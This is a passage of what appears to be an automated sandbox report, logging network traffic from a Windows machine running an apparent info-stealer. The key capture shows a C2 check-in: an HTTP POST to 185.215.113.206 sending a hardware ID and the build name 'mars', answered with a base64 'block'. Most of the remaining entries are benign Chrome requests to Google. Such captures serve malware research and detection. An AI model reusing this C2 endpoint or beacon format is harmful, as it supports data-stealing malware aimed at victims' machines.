Nov 11, 2024 19:19:31.956383944 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 11 Nov 2024 18:19:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.7	56479	185.215.113.206	80

Timestamp	Bytes transferred	Direction	Data
Nov 11, 2024 19:20:05.166335106 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 11, 2024 19:20:05.815135956 CET	203	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:20:05 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 11, 2024 19:20:05.954390049 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGDGCGCFHIEHIDGDBAAE Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 41 37 44 43 39 45 31 37 41 35 41 31 33 36 31 34 39 35 32 39 38 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 44 47 43 47 43 46 48 49 45 48 49 44 47 44 42 41 41 45 2d 2d 0d 0a Data Ascii: ------EGDGCGCFHIEHIDGDBAAEContent-Disposition: form-data; name="hwid"7A7DC9E17A5A1361495298------EGDGCGCFHIEHIDGDBAAEContent-Disposition: form-data; name="build"mars------EGDGCGCFHIEHIDGDBAAE--
Nov 11, 2024 19:20:06.186248064 CET	210	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:20:06 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49700	142.250.185.196	443	7324	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:35 UTC	603	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiFoM0BCNy9zQEIj8rNAQi5ys0BCKLRzQEIitPNAQik1s0BCPTWzQEIp9jNAQj5wNQVGPXJzQEY642lFw== Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-11 18:17:35 UTC	1266	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:35 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-G1IEkh81__tTlAwmsjpzsA' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-11 18:17:35 UTC	112	IN	Data Raw: 33 30 31 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 6e 65 74 66 6c 69 78 20 61 72 63 61 6e 65 20 73 32 22 2c 22 70 6f 6b 65 6d 6f 6e 20 67 6f 20 6d 61 6e 6b 65 79 20 63 6f 6d 6d 75 6e 69 74 79 20 64 61 79 22 2c 22 6d 6f 72 74 67 61 67 65 20 69 6e 74 65 72 65 73 74 20 72 61 74 65 73 22 2c 22 68 6f 72 73 65 20 74 72 61 69 6e 65 72 20 62 6f Data Ascii: 301)]}'["",["netflix arcane s2","pokemon go mankey community day","mortgage interest rates","horse trainer bo
2024-11-11 18:17:35 UTC	664	IN	Data Raw: 62 20 61 76 69 6c 61 22 2c 22 61 75 72 6f 72 61 20 62 6f 72 65 61 6c 69 73 20 66 6f 72 65 63 61 73 74 22 2c 22 74 68 65 20 70 65 6e 67 75 69 6e 20 66 69 6e 61 6c 65 22 2c 22 6e 76 69 64 69 61 20 73 74 6f 63 6b 20 70 72 69 63 65 22 2c 22 76 65 74 65 72 61 6e 73 20 64 61 79 20 6d 69 6c 69 74 61 72 79 20 66 72 65 65 20 6d 65 61 6c 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 30 33 64 22 2c 22 Data Ascii: b avila","aurora borealis forecast","the penguin finale","nvidia stock price","veterans day military free meals"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","
2024-11-11 18:17:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49704	142.250.185.196	443	7324	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:35 UTC	353	OUT	GET /async/ddljson?async=ntp:2 HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49705	142.250.185.196	443	7324	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:35 UTC	506	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiFoM0BCNy9zQEIj8rNAQi5ys0BCKLRzQEIitPNAQik1s0BCPTWzQEIp9jNAQj5wNQVGPXJzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-11 18:17:35 UTC	1042	IN	HTTP/1.1 200 OK Version: 693618659 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 11 Nov 2024 18:17:35 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-11 18:17:35 UTC	336	IN	Data Raw: 32 32 36 32 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 2262)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-11-11 18:17:35 UTC	1378	IN	Data Raw: 20 67 62 5f 6f 64 20 67 62 5f 46 64 20 67 62 5f 6c 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 Data Ascii: gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u00
2024-11-11 18:17:35 UTC	1378	IN	Data Raw: 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c Data Ascii: 03c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\
2024-11-11 18:17:35 UTC	1378	IN	Data Raw: 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 73 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 Data Ascii: role\u003d\"button\" tabindex\u003d\"0\"\u003e \u003csvg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l22
2024-11-11 18:17:35 UTC	1378	IN	Data Raw: 32 2c 32 7a 4d 36 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 Data Ascii: 2,2zM6,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1
2024-11-11 18:17:35 UTC	1378	IN	Data Raw: 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 31 22 2c 22 6c 65 66 74 5f 70 72 6f 64 75 63 74 5f 63 6f 6e 74 72 6f 6c 2d 6c 61 62 65 6c 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 30 32 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 Data Ascii: ft_product_control-label1","left_product_control-label2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700302,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_sc
2024-11-11 18:17:35 UTC	1378	IN	Data Raw: 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 52 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 53 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 54 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 53 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 50 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 6a 68 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 55 64 5c 75 30 30 33 64 5b 51 64 28 5c 22 64 Data Ascii: erCase()\u003d\u003d\u003da+\":\")};_.Rd\u003dglobalThis.trustedTypes;_.Sd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i}};_.Td\u003dnew _.Sd(\"about:invalid#zClosurez\");_.Pd\u003dclass{constructor(a){this.jh\u003da}};_.Ud\u003d[Qd(\"d
2024-11-11 18:17:35 UTC	206	IN	Data Raw: 2e 69 3b 65 6c 73 65 20 74 68 72 6f 77 20 45 72 72 6f 72 28 5c 22 46 5c 22 29 3b 65 6c 73 65 20 61 5c 75 30 30 33 64 5f 2e 67 65 28 61 29 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 69 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 0d 0a Data Ascii: .i;else throw Error(\"F\");else a\u003d_.ge(a);return a};_.ie\u003dfunction(a,b\u003ddocument){let c,d;b\u003d(d\u003d(c\u003d\"document\"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,
2024-11-11 18:17:35 UTC	428	IN	Data Raw: 31 61 35 0d 0a 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c 22 3a 62 2e 6e 6f 6e 63 65 7c 7c 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 5c 22 6e 6f 6e 63 65 5c 22 29 7c 7c 5c 22 5c 22 7d 3b 5c 6e 5f 2e 6a 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 5c 75 30 30 33 64 5f 2e 54 61 28 61 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 72 72 61 79 5c 22 7c 7c 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6f 62 6a 65 63 74 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c 22 7d 3b 5f 2e 6b 65 5c 75 30 30 33 64 66 75 6e 63 74 Data Ascii: 1a5`${a}[nonce]`);return b\u003d\u003dnull?\"\":b.nonce\|\|b.getAttribute(\"nonce\")\|\|\"\"};\n_.je\u003dfunction(a){var b\u003d_.Ta(a);return b\u003d\u003d\"array\"\|\|b\u003d\u003d\"object\"\u0026\u0026typeof a.length\u003d\u003d\"number\"};_.ke\u003dfunct
2024-11-11 18:17:35 UTC	1378	IN	Data Raw: 38 30 30 30 0d 0a 5c 75 30 30 33 64 30 29 7b 72 65 74 75 72 6e 20 5f 2e 42 62 28 5f 2e 6c 65 28 61 2c 62 29 2c 63 29 7d 3b 5f 2e 6d 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 5c 75 30 30 33 64 30 29 7b 72 65 74 75 72 6e 20 5f 2e 42 62 28 5f 2e 53 28 61 2c 62 29 2c 63 29 7d 3b 5f 2e 6f 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 2e 6c 61 73 74 49 6e 64 65 78 4f 66 28 62 2c 30 29 5c 75 30 30 33 64 5c 75 30 30 33 64 30 7d 3b 5a 64 5c 75 30 30 33 64 5f 2e 52 64 3b 5f 2e 63 65 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 2b 5c 22 5c 22 7d 7d 3b 66 65 Data Ascii: 8000\u003d0){return _.Bb(_.le(a,b),c)};_.me\u003dfunction(a,b,c\u003d0){return _.Bb(_.S(a,b),c)};_.oe\u003dfunction(a,b){return a.lastIndexOf(b,0)\u003d\u003d0};Zd\u003d_.Rd;_.ce\u003dclass{constructor(a){this.i\u003da}toString(){return this.i+\"\"}};fe

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.7	49706	142.250.185.196	443	7324	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:35 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-11 18:17:35 UTC	957	IN	HTTP/1.1 200 OK Version: 693618659 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Mon, 11 Nov 2024 18:17:35 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-11 18:17:35 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-11 18:17:35 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.7	49714	142.250.184.206	443	7324	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:37 UTC	729	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiFoM0BCLnKzQEIitPNARj1yc0BGOuNpRc= Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-11 18:17:38 UTC	916	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Fri, 08 Nov 2024 07:44:13 GMT Expires: Sat, 08 Nov 2025 07:44:13 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 